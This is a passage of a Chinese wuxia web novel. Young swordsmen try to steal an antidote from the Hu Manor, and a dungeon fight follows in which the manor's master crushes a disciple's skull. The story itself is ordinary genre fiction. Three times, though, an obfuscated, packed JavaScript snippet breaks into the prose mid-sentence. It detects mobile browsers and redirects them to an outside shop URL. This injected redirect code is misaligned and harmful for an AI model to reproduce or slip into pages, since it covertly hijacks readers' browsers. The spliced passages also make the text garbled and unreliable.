边潇笑道:“武功都是平日积累,哪里是与别人切磋几场就能提升的?刁师弟他们平日练功很是辛苦,让他们休息休息又怎么了?好碧桃,你快别告诉师父。”他虽这么说,但看他表情,却没有一点担心碧桃会将这事说出去的样子。 碧桃淡淡道:“我是庄主的剑侍,直接听命于庄主,你只是庄主的徒弟,你觉得我会站在谁的一边?” 边潇乐呵呵道:“常言道师徒一心,碧桃,你站在我这边,也等于是和我师父站在一边啦。” 碧桃不理他油嘴滑舌,对雨馀凉施了一礼转身待走,边潇忽然叫住她:“等等碧桃,我有一件事问你。” 碧桃停住脚下步子,过了一会才微微朝边潇所在的方向转动脖颈。 边潇往前凑上几步,压低了声音道:“你可知‘毒’的解药放在哪里?” 碧桃闻言立马警觉,道:“你问这个做什么?” “呃……”雨馀凉忐忑地看向碧桃,觉得边潇有些过于大条了。 先前雨馀凉试探地说出了盗药救人的提议,还没有得到边潇的回复就来了其他人,雨馀凉尚且不知道边潇对自己这个提议是个什么态度,正要等碧桃离开后向边潇问个明白,不想边潇直接向碧桃问起了解药的所在。 这是随便能说的么? 边潇看向不断对他使眼色的雨馀凉,道:“放心,碧桃不是外人,是自己人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196935|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 碧桃一挥袖将边潇的手拂开,冷然道:“谁跟你是自己人?边潇,你问这个做什么?说清楚。” 于是边潇将他的担忧和雨馀凉的提议一股脑地说了,说完后乖巧地看向碧桃,等待后者的发言。 碧桃沉吟一阵,道:“其实……我也有这个担心,毕竟那是魔教不是别人,庄主这次的举动,我也觉得有些……”她本想说“不妥”,但她毕竟是寇传维的剑侍,不好当着别人的面说庄主的错处。 边潇道:“对吧,你也这么觉得,既然如此,事情就好办多了,那毒的解药放在哪里,你应该是知道的吧?” 碧桃道:“知道是知道,可若是被发现了要怎么办?” 边潇笑道:“放心,我不会把你供出来的。” 碧桃道:“我不是说这个!这件事不好瞒,庄主早晚会知道真相,就算不把我供出来,你又要怎么办?” 边潇听碧桃说出这话,不由得咧开嘴笑了,道:“还能怎么办?顶多被打个屁股开花,我是他徒弟,我不信他能忍心把我怎么样,何况……”他看向雨馀凉,“还有这位雨兄跟我一起,算是我的共犯,这位雨兄的师父如今是我师父的盟友,我师父看在他师父的面上,不会把雨兄怎么样,自然也就不会重罚我。要是师父重罚了我,不是在变着相地给那位姬前辈眼色瞧吗?这种得罪盟友的事,师父不会做啦。” 碧桃听他这么说,仍旧迟疑了一会,最后还是道:“白天不方便行动,到了丑时,你们再来这里与我会合。”说完便离开了。 边潇对雨馀凉比了个手势,道:“搞定。” 雨馀凉没想到会这么顺利,一时间甚至还有些怔愣,道:“今晚就能拿到解药了?” 边潇道:“嗯,拿到解药后我们就立即到地牢里把人放出来。” 雨馀凉突然想起一事,问道:“这毒究竟叫什么名字?”从之前寇传维给玄同教和聊氏的人下毒开始,到方才边潇和碧桃讨论,雨馀凉都只是听他们说“这毒”、“那毒”的,一直没听到这毒的名字。 边潇干脆地道:“没有名字。” 雨馀凉道:“没有名字?” 边潇道:“师父说了,毒就是毒,能助人达成目的就行,哪来那么多名字?少搞这些虚头巴脑的东西,像是当年玄同教主裴秉延调配的剧毒烟霞墨之类,瑚庄的毒,不需要这些文绉绉的名字,他不搞这些花里胡哨的东西。” 是夜丑时,雨馀凉和边潇一同来到白天待的湖畔,碧桃果然已经等在了那里。 随后雨馀凉和边潇跟着碧桃,在夜晚的瑚庄中左绕右绕。行了一阵,雨馀凉觉得周围的景象有些熟悉,等远远看到地牢入口大门时,终于确定这就是关押覃尹二人的地牢附近。 他们不是先要去拿解药吗?怎么先到地牢来了?雨馀凉警惕心起,身上的肌肉紧绷起来。 来到地牢旁一座三间阔的屋子旁,碧桃回头对雨馀凉和边潇道:“就是这了。” 边潇道:“什么?难道这就是藏解药的地方?” 碧桃道:“正是。” 边潇道:“真是,那么重要的东西,好歹安排一两个守卫啊。” 雨馀凉一下明白了寇传维将解药放在这的用意。常言道,最危险的地方往往是最安全的地方,几天前他和姬花青从地牢里出来,只是往瑚庄深处寻觅,压根没想到解药就放在地牢旁边的黑屋子里,屋门口还一个守卫都没有,若有人为寻解药而来,自然而然就将这个地方忽略了。 雨馀凉猜测,瑚庄以前应该没少干给人下毒然后将人扔进地牢这种事。 这屋子门前虽无守卫,但离地牢大门不远,地牢门前的守卫是能看见这边屋子的情况的,所以雨馀凉等人没有从正门进入,而是借着夜色,悄声从后窗翻进屋中。 雨馀凉轻轻落地,环视屋中,只见屋内堆满了箱箧、大大小小的盒子,一时竟不知要从哪里找起。 边潇道:“好黑啊,这要怎么找,要是有盏灯就好了。” 碧桃道:“你白痴吗?点灯把守卫引来吗?” 边潇道:“我又没真的要点。”他看见雨馀凉已经翻箱倒柜开始着手寻找,当即也不废话,和碧桃分别搜检起来。 屋内黑暗,三人很费了些力气,才将屋里所有箱子、盒子都搜索了一遍,不想这些箱盒里面都是空的,连半颗解药的影子都没看到。而窗门紧闭不通风,天气又闷热,三人皆汗如雨下。 边潇道:“怎么回事?解药真的藏在这吗?” 碧桃也满心疑惑,道:“庄主平时确实是将解药放在这里的啊,就在玄同教和九歌的人来之前,庄内才制了一批新的解药,还是我亲自放进来的。可我刚刚凭着记忆在之前放药的位置找,那些解药却跟凭空消失了一样。难道说……有人将这些解药全部拿走了?而且就是在这几天拿的。” 雨馀凉越发感到不对劲,转移解药为什么刚好在这几天转移?这几天又刚好是他和姬花青来到瑚庄的时候……雨馀凉道:“解药既不在这,我们这便走罢。” 碧桃点头表示同意,不想边潇刚抬起步子,就被脚边的箱子绊了一下,他重心不稳,整个人扑了出去,直接将前面高高磊在一起的箱箧全部推倒。 砰砰啪啪的巨大声响持续了好一会,雨馀凉闭上眼,心想: 这下糟了。 果不其然,片刻之后地牢门口的守卫就被屋内的声响引了过来,手持兵器的影子投射在纸窗上,守卫的声音传进屋中:“什么人?” 无人应答。 砰的一声,屋门被守卫踢开,然而除了翻倒一地的箱箧,屋内并无一人。 地道中,边潇一边气喘吁吁,一边道:“碧桃,真有你的,竟然知道有这条密道。” 碧桃道:“本来这些都不是你该知道的,要不是情况紧急,我又怎会带你和一个庄外的人进到这来?” 边潇沉默不语。说到底,导致如今这种境况的是他,碧桃虽没有明说,这却使他更加难受。 雨馀凉道:“碧桃姑娘,这个密道是通往何处?” 碧桃道:“……这密道与地牢是连在一起的。” 雨馀凉道:“那我们如何出去?” 碧桃道:“一条路,返回,从刚刚那间屋子里出去;另一条路,从地牢大门出去。” 雨馀凉扶额,两条路听上去都万分艰难,他道:“那些守卫知不知道地牢和放解药的屋子是连通的?” 碧桃道:“连边潇这个瑚庄大弟子都不知道,那些守卫就更不知道了,所以我才带你们躲进这里。” 雨馀凉道:“碧桃姑娘,那依你对瑚庄的了解,我们现在该如何做?是在这密道里待一阵子,还是现在就出去?” 碧桃道:“我们打草惊蛇,那些守卫应该已经去报告了。守卫不知道那屋子里放了什么,上面的人可知道,他们一定能猜出来人是来盗解药的。守卫没发现人影,如果是我,就会猜测两种可能,一是盗药人已经从那间屋子的窗户跑了,二便是盗药人躲进了密道中。盗药人知晓解药密道的所在,多半便是山庄中的内贼,而这个盗药人不知道解药在几天前就转移了,就又缩小了怀疑的圈子,这个时候,就会派人守住两边出口,同时去检查庄内的人此刻都在哪里。现下已过丑牌时分,庄内之人应该都是在自己屋子里安歇或准备安歇了,而没有待在自己房间里的,就有了最大嫌疑。” 雨馀凉听碧桃说完,喉头咽了咽,道:“那我们现在……” 碧桃道:“先去地牢大门看看情况,趁守卫去报告的时间,抓紧从这里出去!” 雨馀凉等人在密道里一路飞奔,果然来到了地牢之中,三人在牢房间七拐八弯,正当雨馀凉在心中感慨这地牢好大,不知还有多久才能到牢门口时,突然听见旁边墙壁轰然声响,雨馀凉立即反应,伸臂将边潇和碧桃拦住,同时不断后退。伴随着巨响,墙壁被豁然开了个大洞,同时烟尘碎石飞洒溅落。 只见一抹黑色身影从墙洞倒纵而出,墙的另一边传来声音:“姬花青,今日必叫你死在我诛仇指下!” 70. 朱明(二) 那日姬花青在梁上听见白氏要将金玉霜赠予瑚庄,且一送就是五瓶,而她当初与白氏订下约定,那个时候,据她所知,白氏仅剩的金玉霜也就只有五瓶。 还真是一点都不给我留啊。姬花青一边这样想着,一边攥紧了拳。 巴琅身上常年携着一种可以感知他人内力的蛊虫,而这蛊虫经过巴琅培养,又能专一感知无涯派内功,所以那日当蛊虫产生反应时,巴琅便知道屋外不仅有人,还是身负无涯派内功之人,是自己要赶尽杀绝的人。 而当姬花青出现在众人面前时,巴琅心中的震惊简直无以复加。 她六年前不是中了自己的诛仇指吗?怎么如今好端端地,还悄无声息潜入了瑚庄? 之后姬花青和寇传维达成协议,巴琅虽竭力想要阻止,但寇传维决意已定,巴琅终究不好再说什么。 这几日寇传维都在和姬花青议事,一次散会后,巴琅私下对姬花青道:“阁下是如何恢复武功的?” 姬花青只是一笑,道:“方法有很多,巴先生不妨猜猜我是用的哪种?顺便告诉先生一声,恢复内力的可不止我一个。”说罢离去,留巴琅神色凝重地站在原地。 姬花青说中了诛仇指后恢复内功的不止她一个,便是指的葛陟谯,只不过后者已经被雨馀凉料理了就是。 姬花青和巴琅都欲将对方杀之而后快,却因姬花青和寇传维的临时联手,二人暂时维持着表面的和谐。 这几日姬花青跟他们说起玄同教的一些事,不时还问起白氏答应给他们的礼物。 巴琅道:“姬阁下似乎很关心白氏送来的礼物啊?” 姬花青道:“自然是关心的,毕竟说实话,在下能在这里与各位结成同盟,都是因为白氏送来的那些东西。” 巴琅道:“那么不知是哪一样东西让阁下如此念念不忘呢?” 姬花青随即答道:“非真金白银莫属。当然,宝剑很好,伤药也不错。” 如此过了数日,这天,寇传维、夏篁、巴琅、姬花青一同来到瑚庄地牢之中。 姬花青见他们将自己一路带到覃七霄和尹敕的牢房前,脸上微微变色。 正坐在牢房稻草堆上的尹敕见来了人,又见姬花青和寇传维等瑚庄众人站在一起,哈哈笑着对覃七霄道:“七霄,我如何说的来?你的花青姐是不是已经跟他们一伙了?”他说罢敛起笑容,狠狠盯着姬花青道:“第一天过去时,我就对七霄说你不会来了,他还不信,现在事实摆在眼前了,七霄,如今你信是不信?” 姬花青不答。 覃七霄表情有惊愕,有悲伤,对姬花青道:“花青姐,这究竟是怎么回事,你快说句话啊?”他看向姬花青的眼神竟有些楚楚可怜。 姬花青依旧不答。 尹敕道:“姬花青!当年你叛教之时,教主顾念师徒之情没派人来追杀你,你才能活到今天,如今你竟要恩将仇报,对玄同教不利!咳咳,咳咳!”瑚庄的毒会让中毒者感到喉咙发干,覃七霄大声嚷了这几句话,最后忍不住咳嗽起来。 姬花青听了他这话,冷然道:“这其中的原委,你又知道多少了?” 巴琅道:“他这话是什么意思,姬阁下,难道你之前潜入过我们瑚庄的地牢吗?” 姬花青语气恢复了冷静,道:“哦……这是我与寇庄主达成协议之前的事了,我与他们曾同为玄同教之人,好歹共事一场,我便进入贵庄地牢中与他们叙了叙旧。” 巴琅与寇传维迅速对视一眼,尹敕道:“寇庄主,小心,你面前的这个女人可不是什么善茬,当面甜言蜜语,转头就往你背上捅刀子,她与你们合作,却又悄悄潜入你们的地牢,这可不像盟友会干出的事啊。” 姬花青道:“再说一遍,我潜入地牢,是与庄主合作之前的事,你若非抓着这件事不放,想以此离间我和庄主,进而让我不好过,手段未免太低级了些。” 巴琅道:“姬阁下,别的就不说了,姬阁下是否真心与我们瑚庄合作,我们瑚庄自有定论,无论旁人如何言语,也不会影响我们自己的判断。说今天带阁下来此的正事吧,姬阁下,如果你能就在此时此地杀了这魔教的二人,那么什么都不必说了,阁下将一直是我们瑚庄尊敬的盟友。” 姬花青怔了一怔,转向巴琅道:“有什么在这个时候杀了他们的必要吗?” 巴琅道:“我们瑚庄已决意与玄同教撕破脸,这二人留着也没用了。” 姬花青道:“反正他们现在已身中贵庄之毒,等日后他们毒发身亡不就可以了?” 巴琅道:“毒发还要等些时日,如今形势严峻,他们自然是越早死越好。留着他们,于我们瑚庄一点用没有不说,姬阁下也知道,我们瑚庄地牢的守卫都是些饭桶,稍不注意就被人潜入牢中,假设发生点什么劫狱越狱等意外状况,岂不夜长梦多?” 姬花青听出巴琅话中意有所指,当即也不理会,只道:“巴先生是非要我亲自下手不可?” 巴琅道:“姬阁下虽与我们庄主达成合作,到底从前还是魔教之人,若要我们完全信任阁下,眼下这是最好的办法,人是现成的,只需稍微劳烦阁下。”说着对姬花青比了个请的手势。同时在夏篁的示意下,一名手下走到牢门边上,将钥匙插进锁孔,一阵噼啪吱呀的声响后,牢门打开。 巴琅的声音幽幽传来:“阁下若动不了手,那我们也只好当阁下与魔教这两人是一伙的了。” 姬花青道:“我是怕你们将人都杀了,到时候魔教来问,一点回旋的余地都没有。”她看向寇传维,道:“寇庄主,何必不给自己留一丝后路呢?” 其实在玄同教这件事上,寇传维也不想做得这么绝。数天前,当巴琅跟他提出要把玄同教的两个人杀了后,寇传维心觉不妥,道:“巴先生,你为何这么着急?” 巴琅道:“庄主既已决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204329|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心要瑚庄脱离魔教,这两人留着还有何用?” 寇传维心里想的却是,假设之后一切顺利,那么覃七霄和尹敕确实已经没用了。可凡事都有个万一,万一他暂时失败了,万一瑚庄仍是不敌玄同教呢,若将那两人留着,说不定还能求得玄同教的宽恕。 可巴琅告诉他,对于魔教来说,下属的立场只有顺从和背叛,介于二者之间的情况向来不存在。 寇传维犹疑时,巴琅心道:“寇传维外强中干,色厉内荏,既然已决定背叛,莫非还以为不杀这两个人玄同教就会对你留有情面?在这些事上犹犹豫豫,终究不是能干大事的人。” 在寇传维犹豫了好几天终于下定决心后,巴琅道:“这件事让姬花青来办。” 寇传维道:“为何?” 巴琅道:“那日我们议事,姬花青已经在屋外听了很久,要不是被我发现,她大概根本不会现身。这种情况下,她提出要与我们合作本就可疑。让她亲手将魔教的那两人杀了,她若下得了手,她与我们合作的诚意才真有几分可信。” 寇传维思索一阵,最终同意了巴琅的建议。 此刻姬花青道:“如果瑚庄的各位真要我杀人的话,”她看向牢中的覃七霄和尹敕二人,“那我就把那个姓尹的杀了,留下覃护法吧。姓尹的在教中不过是个长老,死了就死了,覃护法位列五护法之一,到时候魔教的人来一看,发现覃护法还活着,大家或许还可以坐下好好谈。” 尹敕听了姬花青这番话,差点背过气去。 巴琅道:“姬阁下,连我这个外人都知道,魔教对于叛徒绝不姑息,瑚庄既已有反意,最后不管我们有没有留他们的护法一命,魔教都不会放过我们。这一点,我以为阁下比我更明白呢。” 姬花青叹了口气,道:“那就没法了。”她抬脚踏入牢房,抽出长刀,一步步向覃尹二人走近,道:“覃七霄,尹敕,记住,不是我要杀你们,我这实在是无奈之举,为了我的目的,今日只好请你们去死,到了阎王爷面前,别说是我害的你们。” 尹敕气得提起自己的武器链|子枪向姬花青甩去,姬花青仍旧向前走去,脚步没有迟疑一下,仿佛尹敕对她根本构不成威胁。果然,链|子枪还没甩起来,尹敕的手就已经软绵绵地垂了下去。尹敕只感到运功处一阵剧痛,这剧痛让他蹲了下去,额头渗出豆大的汗珠。 姬花青走到尹敕身前,居高临下的看着他,长刀刀刃在尹敕脸颊上刮来刮去,可就是迟迟不曾砍下。 覃七霄衣衫被汗水浸透,他亦将手伸到腰后握住佩刀,准备拼死挣扎一番。 尹敕脸上传来阵阵刀刃冰凉的触感,却没有感觉到疼痛,但他受不了姬花青这种精神凌迟,突然间大是恼怒,嘶声吼道:“你要杀便杀,我尹……”他话还没说完,伴随着一声利刃破风的尖啸,尹敕不由得闭紧了双眼,可他闭上眼很久之后,想象中的剧痛都迟迟没有到来。 71. 朱明(三) 正当尹敕怀疑自己还有没有活着的时候,忽听见兵刃碰撞的声音,他一睁眼,只见姬花青已和巴琅、夏篁、寇传维三人斗了起来。 姬花青假意与寇传维合作,不只是为了得到金玉霜。寇传维既已决定与玄同教撕破脸,难保不会马上将覃七霄和尹敕杀了,姬花青也是为了在找到解药前尽量拖延时间。瑚庄实在太大,要找出覃尹二人所中之毒的解药实在无异于大海捞针,她成为寇传维的盟友,可以试着慢慢套出解药的所在。 不想巴琅这人实在狡猾,竟要姬花青亲手将覃七霄和尹敕杀了,以此来检验姬花青的诚心。事实证明,巴琅此举确实关键,还真让姬花青无法再与瑚庄众人假意周旋下去,只好撕下面皮来硬的。 姬花青这段时间都在和瑚庄的人虚与委蛇,此刻终于能够动手,虽是被逼无奈,也不由得大是痛快。 巴琅右手一扬,一柄匕首自袖中滑出,巴琅握住匕首挡下姬花青的一刀,冷笑道:“你果然不是真心与我们合作。”他一边以匕首点向姬花青眼睛,一边道:“庄主,我们就在这将此人杀了如何?” 寇传维眼见自己被姬花青欺骗,心中大恨,恶狠道:“杀!碎尸万段!” 巴琅嘴角勾起,与夏篁一同道:“遵命!” 就在这时,本该把守在地牢大门的守卫忙忙慌慌跑进来道:“庄主,庄主!长寿轩有贼人闯入……”他话只说到一半,便听见砰砰乓乓的声音自地牢中传来,再一看,只见庄主寇传维、夏篁、巴琅与之前来到庄中的黑衣女斗在一处,守卫一时间愣在原地,脑子硬是没转过弯,心想这黑衣女不是庄主的客人?先前跟庄主进地牢时不是还好好的?怎么这时就打了起来? 巴琅听了守卫所说,哈哈大笑,看着姬花青道:“藏药的地方被你们找到,也算有些手段,可惜啊可惜,我早料到这点,已劝说庄主让人把解药转移到别处,你那盗药的同伙怕是要无功而返了。” 姬花青一边格下夏篁的一剑,并将夏篁的剑引向巴琅,一边道:“这我可听不懂了,我是想拿到解药,可我压根不知道解药就藏在那处,更没有指使他人前去盗药。呵呵呵……庄主啊,看来要对付你们的不止我啊,在你们不知道的时候,除了我,还有别人进了瑚庄,啧啧,你们的计谋不会早就泄露了吧?不过你们放毒药解药的地方名叫长寿轩?哈哈,哈哈,这名字真有意思。” 听了姬花青这番言语,寇传维等人面上神色俱是一变。若真如姬花青所说的,她其实还并没有找到放置解药的地方,也没有指使同伙去盗药,那么在他们谁都没有察觉的情况下,难道真的还有其他势力的人悄悄潜入了瑚庄? 若真是这样,那他们的暗中谋划说不定已经…… 寇传维稍微往深处想了想便觉毛骨悚然,这么一分心,忽感臂上一痛,原来是被被姬花青刀刃划破了臂膀。一添新伤,寇传维心中愈发惶恐,表面看去虽还算镇定,手上出招却在不知不觉间已变得杂乱无章。 寇传维满头大汗地对守卫叫道:“贼人如今在哪?可有捉到?” 守卫被寇传维这么一叫,这才如梦初醒般回过神来,道:“属下无能,等到长寿轩时,贼人已经消失得无影无踪了。” 寇传维急道:“集合庄中人手四处巡查,一定要找到这个贼人!千万别让他跑了!” 夏篁道:“这里也需要人,快去找邹管家,让他赶紧带人到这里增援!” 寇传维怒喝道:“愣着干嘛?快去啊!” 那守卫忙不迭地道了声是,悻悻往这边看了一眼,赶紧回头逃也似的跑出了地牢。 姬花青跟寇传维一招一招过下来,感受到了寇传维方寸已乱,心想好,先将寇传维解决掉,剩下的敌人就只剩两个,要在增援到来之前,将这三个人全部收拾了。 巴琅感到姬花青出招愈发凌厉,心想三人联手怕也压她不住,于是暂且退到一边,将全身内力集中到右手,只见他手背爆出青筋,食中两指相并,呼的一声朝姬花青戳来。 姬花青正与寇传维和夏篁相斗,忽觉一股劲风直至脑后,姬花青心头一震,当即想也不想,身子一跃而起,避开了寇传维和夏篁的两剑,也错开了巴琅的这一指。 姬花青擅长拆招,唯独这招,别说拆解,她就连招格也不敢,因为姬花青曾在这一招上吃了大亏,让她一朝筋脉全损,武功尽失。 这招便是巴琅的诛仇指。 巴琅一指戳空,却也无法收回力道,指力戳在一旁的墙面上,坚固厚实的石墙竟被打穿,且墙面裂痕被诛仇指打中的地方向外蔓延,到最后整面墙竟以此处为圆心破了一个巨洞! 姬花青见巴琅使出这一招,也不敢和他近距离打了,足下两跃,分别踩上两块碎石,穿过墙洞到了石墙的另一边。 只听巴琅的声音从后面传来:“姬花青,今日必叫你死在我诛仇指下!” 被突然崩塌的墙壁吓了一跳的雨馀凉看清前方人影,他先前虽和姬花青略生龃龉,但骤然看到姬花青,还是下意识地惊喜交集,忙叫道:“花青前辈!” 姬花青一怔,转过头去,见是雨馀凉,脸上现出略微惊讶的表情,虽然没有发一言,却还是三两步跃至雨馀凉身前。 那边寇传维等人从洞口追出,寇传维乍见雨馀凉,又看清雨馀凉身后的两人一个是自己的首徒,另一个是自己的剑侍,不禁大感疑惑,咬牙道:“边潇,碧桃,你们在这里做什么?” 却见巴琅面无表情地拍手道:“内鬼竟是庄主的亲传大弟子啊,真是精彩。” 夏篁道:“巴兄此言何意?边潇怎么跟内鬼扯上联系了?” 巴琅道:“庄主、夏兄请想,方才守卫来报,说有贼人闯入了长寿轩,但守卫赶到时,贼人已不见了踪影。长寿轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220629|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中隐有密道直通地牢,这个秘密在整座瑚庄中都只有庄主和少数几人知道,巧的是,那丫头就是其中一个。”说着指向碧桃。巴琅又道:“若是外贼,那还有可能是身法卓绝,及时从窗户逃了。若是内鬼,知道密道的存在,短时间内来不及跳窗逃走,便在情急之中躲入密道。而庄中知晓解药放在长寿轩中的人也只有那么几个,可巧,碧桃这丫头又是其中一个。姬花青想要盗药救人,而跟她来的这小子又恰恰和碧桃边潇在一起,庄主,剩下的就不用我多说了吧?”巴琅看向边潇和碧桃皮笑肉不笑道:“庄主平日待你们不薄吧?干这些吃里扒外的事,了不起。” 边潇在寇传维发作前大声道:“不是的师父!我做的这一切都是为了师父,为了瑚庄!”他又看向巴琅:“巴先生干什么把话说得这么难听?我生是瑚庄的人死是瑚庄的鬼,可偏偏不是什么内鬼!” 巴琅耸耸肩,冷笑几声。 就在这时,邹仕带领着二十余名瑚庄守卫和寇传维的其他十几名徒弟进到地牢中,整个密闭的空间回荡着邹仕的声音:“庄主,庄主你没事吗?” 寇传维不答,任由邹仕一边喊一边寻找,最终来到寇传维身边。 邹仕向寇传维拱手行礼,道:“庄主。” 寇传维依旧不说话,却突然探出手来,捏住自己一名徒弟的脸,重重掼在墙上。 众人都被寇传维这一突如其来的举动惊了一跳,只听寇传维道:“你们都知道边潇的计划,是不是?”他说“边潇”两个字时,头转向边潇,说到“是不是”时,又看向自己的徒弟们。 寇传维眉弓突出,这般略微颔首抬眼看人,有一半的眼珠都被眉骨遮掩,越发显得可怖。 过了半天没听见一个徒弟答话,寇传维垂下脖颈摇摇头,道:“问你们话!你们平日与你们边师兄那么要好,我就不信没一个人提前不知道他的计划,来来来,有提前知道的跟我说,我不罚他,只有赏。”他一边这么说着,一边右手收紧,被寇传维按在墙上的那名弟子难受地挣扎起来。 边潇道:“师父,师父!他们什么都不知道,我什么都没跟他们说!您先放开李师弟,有什么错,弟子愿一力承担!” 寇传维手臂粗短,手也又粗又大,手掌便如簸箕一般罩在那名李姓弟子脸上,那名弟子被捏得双颊凹陷,眼珠突出,双手双脚挣扎蹬动得越发厉害。 边潇心疼师弟,瞪大了双眼,一边对寇传维作揖求饶一边不停道:“师父不关他们的事师父,他们什么都不知道,师父求您放了李师弟求您……啊啊啊啊啊!!!” 只见寇传维捏碎了那名李姓弟子的头颅。 一旁的瑚庄弟子离得近,看得一清二楚,有一名弟子没能忍住,一边尖叫一边当场呕吐了出来。 碧桃忽然扯住姬花青衣袖道:“姬姐姐,这边来!还有一条通往瑚庄外面的路!” 72. 朱明(四) 水南瑚庄,向来以剑法闻名天下。 玄同教创教教主裴秉延刀剑双绝,见了当时还未加盟玄同教的寇仅谆演练剑法,也不禁称赞瑚庄剑法“集厚重与灵秀于一体,别具一格。” 作为寇仅谆的剑侍,碧桃是被千挑万选选上来的,寇仅谆的剑侍虽不止碧桃一人,但碧桃却是几名剑侍中寇仅谆最为满意的。 碧桃以瑚庄为傲,以瑚庄剑法为傲,以自己瑚庄庄主剑侍的身份为傲。 因为一个是庄主剑侍,一个是庄主徒弟,碧桃与边潇从小就认识。碧桃深知边潇的禀性,他作为瑚庄大弟子,却分外天真,善良得让人觉得冒着傻气。 这种天真良善,其实并不适合在江湖中生存,但碧桃一直认为,这种品质又是那样可贵,可贵得令人想要流泪。 有的时候她会羡慕边潇这样的性子,因为拥有这样性子的人,不会被内心的阴暗所折磨,不会深深陷入名为人性的阿鼻地域。 碧桃是瑚庄庄主的剑侍,所以知道很多庄内其他人都不知道的秘密,这些秘密的其中一个便是瑚庄地牢内暗藏着一条连着外界的通道。 早先雨馀凉问她密道到底有几个出口时,碧桃回答只有两个。 她没有说实话,即使似乎已经和雨馀凉成了一条绳上的蚂蚱,她也不认为自己和雨馀凉是“一伙的”,她和雨馀凉,不过是短期内有相同的目的。所以尽管和雨馀凉一同躲在密道中,她也仍然没告诉雨馀凉,出口其实有三个,除了长寿轩和地牢大门外,还有一条路直接通往庄外。 边潇天真,雨馀凉问什么说什么,甚至雨馀凉没问的,边潇也说。碧桃虽比边潇还小着一岁,却也知道就算庄主跟姬花青达成合作,跟随姬花青来到瑚庄的雨馀凉也只是外人。 要不是她也在心里认可不能轻易招惹玄同教,又怎会让雨馀凉知道瑚庄之毒的解药就在长寿轩中? 碧桃问心无愧,和边潇一样,她也打心眼里不认为自己这种行为是对瑚庄的背叛、对寇传维的背叛,她和边潇都是为瑚庄好,为寇传维好,只是做事的方式和寇传维产生了一些冲突。 寇传维虽然脾气暴躁,但也从未像今日这般疯狂,随着时间的推移,他似乎越发觉得水南武林盟主之位就是自己的囊中之物,只要出现一点可能让自己无法达成这个目的的阻碍,寇传维就会坚决迅速地将这一阻碍除去。 明明一开始他都还能清醒地意识到自己不一定是最终坐上武林盟主之位的那个人,可如今情况已经演变成了他认为自己当水南武林盟主就是理所应当的事。 人心真是一件奇怪的东西。 在看到寇传维在毫无证据的情况下就将自己的徒弟杀死后,在听到边潇的惨叫后,碧桃下定了决心。 眼下的这座瑚庄,只是地狱,不是什么值得她骄傲的武林世家。于是她将瑚庄的这一秘密告诉了姬花青,这个看上去十分可靠、可以带她们突出重围的人。 姬花青听了碧桃所言,道:“快带路!” 寇传维大声吼道:“碧桃!连你也背叛我!今天你和边潇,还有其他叛徒,有一个算一个,都别想活着离开瑚庄!”他的怒吼在狭窄封闭的地牢中回荡,激得雨馀凉的耳膜一阵阵生疼,在怒吼的回声中,巴琅和夏篁交叉着上前,破开烟尘与碎石,径向姬花青等人袭来。 姬花青转头看到背后巴琅和夏篁飞速跃来,对雨馀凉道:“馀凉,你先跟着碧桃姑娘和边潇小兄弟走!” 雨馀凉闻言一惊,停下脚步回头道:“花青前辈?” 姬花青正要说话,夏篁的剑和巴琅的匕首便分别向姬花青上盘和中盘刺来。 姬花青将长刀一竖,同时架住夏篁的紫剑和巴琅的匕首,接着抬起右腿横扫,踢中巴琅侧腰,巴琅重心不稳,砸在夏篁身上,二人双双摔倒在地。 姬花青复又跃至雨馀凉身边,道:“又不是不跟过来了,而且从这里出去后,老娘还有顶重要的事要去做!不可能死在这的!” 雨馀凉刚刚那个表情,不知道的还以为他们在上演什么她牺牲自己换大家一条生路,生离死别的戏码。姬花青在心中冷哼一声,就凭巴琅和夏篁,加上一个寇传维和他手底下这些人,想要杀她也是做梦,顶多只能将她拖住一会。 只是巴琅和夏篁这两人也实在是难缠,不一会二人又追了上来,姬花青只能再次将二人逼退,但这二人武功不低,就是姬花青也无法在短时间内取他们性命。 姬花青趁二人被逼退的间隙,转身向前追上雨馀凉等人。 碧桃见姬花青过来,伸手按住旁边石壁上机关,道:“姬姐姐!快!” 雨馀凉看见碧桃伸手在墙上一按,便听到两边石墙、头顶石壁隆隆作响,同时脚下不断晃动,再抬头时,只见一堵厚重石门从上方降落,似要将通道隔成两半。 巴琅知道这机关巨石一旦落下,便再也无法抬起,若让姬花青等人全部去到石门之后,今日就抓不住他们了,心中一发狠,再次将气劲凝聚在右手指尖,足尖一抵,身子往前纵出,食中二指向姬花青戳去。 姬花青察觉到背后有人以极快的速度追来,回头一看,见巴琅又使出了诛仇指,心头一紧,忙闪向一旁,要先躲开这一指。 姬花青这一闪后,自己也知道,自己是无法赶在石门完全落下前到雨馀凉他们那边了。 